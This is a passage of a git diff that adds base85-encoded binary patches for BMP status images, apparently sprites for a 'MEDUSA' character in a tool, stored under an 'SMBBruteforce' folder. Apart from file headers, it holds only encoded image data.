z#XIr^ZX&TGmn))@$d(ouBLi!FJqV5B;jw%&K|-TQDHMXaInEp=q|!YkHf~}YI~EtN zw^U=+9D{`miI#94nZzRzc?3Kkj}w495-@xmPJ}kga3`58R7v(&^Qi6VP-r2QX3t>p@I<76vG!~=?Rjb_GjleH%%xBvB8fx7a|k#t=pG!FgU5i_a-+ji zT*+Ds=X#4B?i}s7-}SV+w|{@#j{Cj+BfaCTWgD-YyYNY@r;Z<2S5tFF8ak7ZY^)Uv zk7VFbEF2ob+0u_NU(a2GiGY2sF-SKAoP|PE?fk@kXbr!zSc}t&6#rmqLGF+T;Gt0K(a|xA(JIw zFu8OZL?J_<&533KD@4R`h&VO@1L4pDtXY9K38Oii&Exd-J#VSobm!9Ta|h1dx^nC4 zPdDz}dwj9w`@+z;`@eL3B9Z~zn{6Ij3~ z1c*X}C;*hi0d7($d>Wlkrvt}DES7`~*@1i&@a#A&7KvahSyh{m;1*-y=B?QDQCZ7dZ z6}qzNR5pbIVi*JsLv(m028tSC{xS<#!~1yaT(|p5DEYnr0ir2Gs#3I z1qpbbdMiXUHUR|@F$z!;hDE_nu;M`s16?5onav=-&nkf4GD-O?A(Mth zSc-U%2x!a&ivAB)mV%W>r*mmkwjyOG#$h6XPQo&9Xa^c>Ll{I{s%Bzn{Pd~fhs19e z3=^Zu=$kjES`KV1u3VR1*wWDS4ipqVSl7u);Q3A_OH`fub)baizyXsCN&!m3G669K z2Xs|POCz%BL=K(AV^D#vJSL4lp%ze1%!O?DY`{viMo9S_DUS^doK$@DzOLYUCJj{Q z(7?1q;)3j_5V>SLNES8*UKq?wamOit^+i=>)$gG1L&@b}NZL|be&bTx`=>vW6;%E8 z*Iz8nOi+3Yf}B`<3IGL$W|1+9frF|D<4FT9(eezNJuUJuHkT&5kLt%zX+9Ow#IrGLgMW>G~fs*pt%FvvnGQAEZI z3D%iG?7A3%y2=!eKrk@ycAj}3%1E0wuV>lpRDR{+x zLRUo$16(>qk+nc7MSL=WkOBsUFp;kk9$Um!^Z|%og{}}?0*pm40<3}*3c6*nQ9UO|XjCG$5xKqDUdK9YnEX5N%oL#6WI> z7foZQw2`sEqvL^cd8FoP?;3blnDnLd?p-H)JB_)@ zPIQY1PsouE9^ElKGJ#75O9H%*MgUAgDjs8QDCL0Mr6?$w6kq}dSR!GhEbGJoUhHzn zOh*l7YO;S~!SL=DpIP{i>N@Gmz`)D&j109oDkKB7WN%KWJ4eI-@6a$HbVUq;ltq-# z2^cd2FtLDPNW>xmN)8prB_loUNU5uBotTz$W=xfe1f88feCZuHC!;YiLBcs`5+=%{hJ|Ot2%<0m3^larP_%*4#kB3X!B-T%bEM z+7IFp4d*FO<8s&+FPxji`uqg_L-+h+tdpLOjg5YH>?n=Fob~NDD1*gbT!Igu?8?C7 z&6YZ_$zFEM0CxtTWV&e1w|W|j*OnId_xJt5!T;dlKgRmLk3+*lo3?DmqfrZHOhYeO zBtV*D4Rvg2STbB+ZN@j+ni^rjK_B&N_V*kA@bW*;3Iv|ixVQINU2PS3*QBmGQ)T)T z_4#wGEG^<(|#D{qFGn`@etR|L%g1 zCHU~`|68md?$JMY<^K{ZQ1QPYt}|#lG6VJ+>d=F literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce5.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..68fe849175c9178c33154c3a74120c5a120abe23 GIT binary patch literal 18462 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 VP%z&^`Mi@2|{(pP^0lxqM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce6.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c7b26b5b06e683e2312d59826244541d48104536 GIT binary patch literal 18462 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 